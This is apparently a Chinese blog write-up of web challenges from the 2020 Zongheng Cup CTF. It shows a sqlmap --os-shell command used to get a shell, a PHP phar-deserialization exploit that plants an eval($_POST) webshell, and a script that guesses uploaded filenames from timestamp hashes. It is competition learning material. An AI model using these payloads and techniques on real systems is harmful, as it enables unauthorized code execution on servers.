纵横杯2020 web wp

最新推荐文章于 2023-02-16 08:38:21 发布

会下雪的晴天

最新推荐文章于 2023-02-16 08:38:21 发布

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分类专栏：比赛

会下雪的晴天

本文链接：https://blog.csdn.net/weixin_43578492/article/details/112128288

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title: 纵横杯2020 web wp
date: 2020-12-26 18:19:03
tags: CTF
categories: 比赛
link：https://yq1ng.github.io/

图片是新博客截图过来的，可能糊了，可以去新博客地址看

WankkoRee师傅、Mr.水函师傅带飞我，这次比赛学到不少东西，先放个排名，膜拜师傅们
在这里插入图片描述

第一次ak web，后援团的大师傅们的思路都很骚，多多学习，今天被引号闭合搞了两次，以后注意，phar的闭合与cms的闭合
在这里插入图片描述

easyci
hello_php
ezcms
大家一起来审代码

easyci

早上起来晚了，队友说这个sqlmap就能跑，当时我还不信，没见过比赛还能用sqlmap的。起床后自己试了试真的是欸，但是没用，跑出来的账号密码登陆没东西，flag也不在数据库，那就要getshell了，但是不知道绝对路径，马子写不上去，从团长那里得到yu师傅提示，读取配置文件/etc/apache2/sites-enabled/000-default.conf，得到网站绝对路径/var/sercet/html，用sqlmap进行getshell：py2 .\sqlmap.py -r ..\a.txt --os-shell手动选择路径,尽情玩耍

#/etc/apache2/sites-enabled/000-default.conf
<VirtualHost *:80>
        # The ServerName directive sets the request scheme, hostname and port that
        # the server uses to identify itself. This is used when creating
        # redirection URLs. In the context of virtual hosts, the ServerName
        # specifies what hostname must appear in the request's Host: header to
        # match this virtual host. For the default virtual host (this file) this
        # value is not decisive as it is used as a last resort host regardless.
        # However, you must set it for any further virtual host explicitly.
        #ServerName www.example.com

        ServerAdmin webmaster@localhost
        DocumentRoot /var/sercet/html

        # Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
        # error, crit, alert, emerg.
        # It is also possible to configure the loglevel for particular
        # modules, e.g.
        #LogLevel info ssl:warn

        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined

        # For most configuration files from conf-available/, which are
        # enabled or disabled at a global level, it is possible to
        # include a line for only one particular virtual host. For example the
        # following line enables the CGI configuration for this host only
        # after it has been globally disabled with "a2disconf".
        #Include conf-available/serve-cgi-bin.conf
</VirtualHost>

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

hello_php

扫描目录，发现www.zip备份文件，下载后审计源码，得到登陆账号密码：admin，admin888，登陆后的页面有上传文件，且在index.php页面发现file_exists函数，使用phar进行反序列化攻击，exp如下：

<?php
/**
 * @Author:     yq1ng
 * @Date:       2020-12-26
 * @challenges: hello-php
 */
class Config{
    public $title;
    public $comment;
    public $logo_url;
    public function __construct(){
        global $title;
        global $comment;
        global $logo_url;
        $this->title= "'?><?php eval(\$_POST[1]);?>";
        $this->comment = "yq1ng";
        $this->logo_url = $logo_url;
    }
}
@unlink("phar1.phar");//unlink() 函数删除文件。
$phar = new Phar("phar.phar");
$phar->startBuffering();//开始缓冲Phar写操作
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$A=new Config;
$phar->setMetadata($A);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");//以字符串的形式添加一个文件到phar档案添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

由于上传文件的命名方式为时间戳的md5，所以再写一个获取时间戳md5的脚本，用来尝试上传后文件名，脚本使用方式为，先开启脚本，紧接着上传文件，然后挨个试文件名,上传后寻找文件名，未出现404则成功

import time
import hashlib

def md5vale(key):
    input_name = hashlib.md5()
    input_name.update(key.encode("utf-8"))
    print(input_name.hexdigest())

for i in range(5):
    a=str(int(time.time()))
    md5vale(a)
    time.sleep(1)